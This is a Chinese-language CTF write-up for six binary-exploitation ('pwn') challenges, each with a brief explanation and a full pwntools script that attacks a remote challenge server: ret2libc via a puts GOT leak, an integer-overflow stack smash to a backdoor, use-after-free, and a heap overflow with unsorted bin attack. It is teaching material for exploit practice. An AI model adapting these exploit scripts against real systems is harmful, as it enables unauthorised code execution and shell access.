# pwn1
都说了是测试 nc 了,连上就直接可以拿到 flag
# pwn2
给我们个 password,你再传回去就完了
关键是要仔细读题,看仔细到底哪些是 password
from pwn import * | |
r=remote("219.219.61.234",6666 ) | |
print(r.recvuntil(b'*\n').decode()) | |
p=r.recvuntil(b'\n')[:-1] | |
print(bytes(p)) | |
r.sendline(bytes(p)) | |
r.interactive() |
# pwn3
ret2libc
泄露 libc 中 puts 函数的地址
传入 puts_got,得到 puts 的运行时的地址,
用 libc.symbols [“system”] - libc.symbols [“puts”] 得到 system 和 puts 的距离,
加上之前接收的 puts 运行时的地址,得到 system 运行的地址,
然后直接用 elf.search ('sh\x00').next () 找到 sh 的地址
没开 canary,
0x38, 所以 payload 填 60 个 a, 然后传 system 地址 + sh 地址,就可以 getshell 了
from pwn import * | |
#r = process(b'./pwn3') | |
r=remote('219.219.61.234',10003) | |
elf = ELF(b'./pwn3') | |
libc = ELF(b'./libc.so.6') | |
print(r.recv().decode()) | |
puts_got = elf.got['puts'] | |
print(puts_got) | |
r.send(str(puts_got).encode()) | |
r.recvuntil(b' : ') | |
puts_addr = int(r.recvuntil(b'\n')[:-1],16) | |
print(puts_addr) | |
system_addr = puts_addr + libc.symbols["system"] - libc.symbols["puts"] | |
print(system_addr) | |
p = b'a'*60 + p32(system_addr) + p32(0xdeadbeef) + p32(elf.search(b'sh\x00').__next__()) | |
r.recvuntil(b' :') | |
r.sendline(p) | |
r.interactive() |
# pwn4
没开 canary,但是前两个地方不能栈溢出,
而又观察到 v3 刚好是个 unsigned int8 型的变量,可以利用整数溢出的漏洞,
它的最大值位 255,所以只要保证一共填了 255+4 ~ +8 之间的个数就行
from pwn import * | |
#r = process('./pwn4') | |
r = remote("219.219.61.234",10004 ) | |
backdoor=0x0804868B | |
p = b'a'*0x18 + p32(backdoor) + b'a'*(259-0x18-4) | |
r.recvuntil(b'choice:') | |
r.sendline(b'1') | |
r.recvuntil(b'username:') | |
r.sendline(b'123') | |
r.recvuntil(b'passwd:') | |
r.sendline(p) | |
r.interactive() |
# pwn5
Use After Free 漏洞
指针 free 之后没有置空,下次在访问该指针时能访问到原指针所指向的堆内容
添加两个 note 之后,依次释放。再创建大小为 8 的 note 时,内容部分对应被分配到第一个 note 里面,而它的指针没有置空,
所以如果我们在新的 note 里面放后门函数的地址的话,print 新 note 的内容的时候,就会执行这个后门函数
from pwn import * | |
#r = process(b'./pwn5') | |
r=remote('219.219.61.234',10000) | |
backdoor=0x08048986 | |
def add(size,content): | |
r.recvuntil(b':') | |
r.sendline(b'1') | |
r.recvuntil(b':') | |
r.sendline(str(size)) | |
r.recvuntil(b':') | |
r.send(content) | |
def delete(idx): | |
r.recvuntil(b':') | |
r.sendline(b'2') | |
r.recvuntil(b':') | |
r.sendline(str(idx)) | |
def Print(idx): | |
r.recvuntil(b':') | |
r.sendline(b'3') | |
r.recvuntil(b':') | |
r.sendline(str(idx)) | |
add(32,'aaaa') | |
add(32,'aaaa') | |
delete(0) | |
delete(1) | |
add(8,p32(backdoor)) | |
Print(0) | |
r.interactive() |
# pwn6
堆溢出漏洞 + unsorted bin attack
只要控制 v3=4869,同时控制 qword_6020C0 大于 0x1305,就可以了
观察到 v3=2 对应的函数里面有堆溢出漏洞,所以可以利用堆溢出漏洞修改堆块的 bk 指针为 qword_6020C0 的地址 - 16
from pwn import * | |
#r = process('./pwn6') | |
r = remote("219.219.61.234",10001 ) | |
elf=ELF(B'./pwn6') | |
def create(size,content): | |
r.recvuntil(b':') | |
r.sendline(b'1') | |
r.recvuntil(b':') | |
r.sendline(str(size)) | |
r.recvuntil(b':') | |
r.sendline(content) | |
def edit(idx,size,content): | |
r.recvuntil(b':') | |
r.sendline(b'2') | |
r.recvuntil(b':') | |
r.sendline(str(idx)) | |
r.recvuntil(b':') | |
r.sendline(str(size)) | |
r.recvuntil(b':') | |
r.sendline(content) | |
def delete(idx): | |
r.recvuntil(b':') | |
r.sendline(b'3') | |
r.recvuntil(b':') | |
r.sendline(str(idx)) | |
create(0x20,'aaaa') | |
create(0x80,'bbbb') | |
create(0x20,'cccc') | |
delete(1) | |
magic = 0x6020C0 | |
fd = 0 | |
bk = magic -0x10 | |
edit(0,0x40,b'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) | |
create(0x80,b'aaaa') | |
r.recvuntil(b':') | |
r.sendline(b'4869') | |
r.interactive() |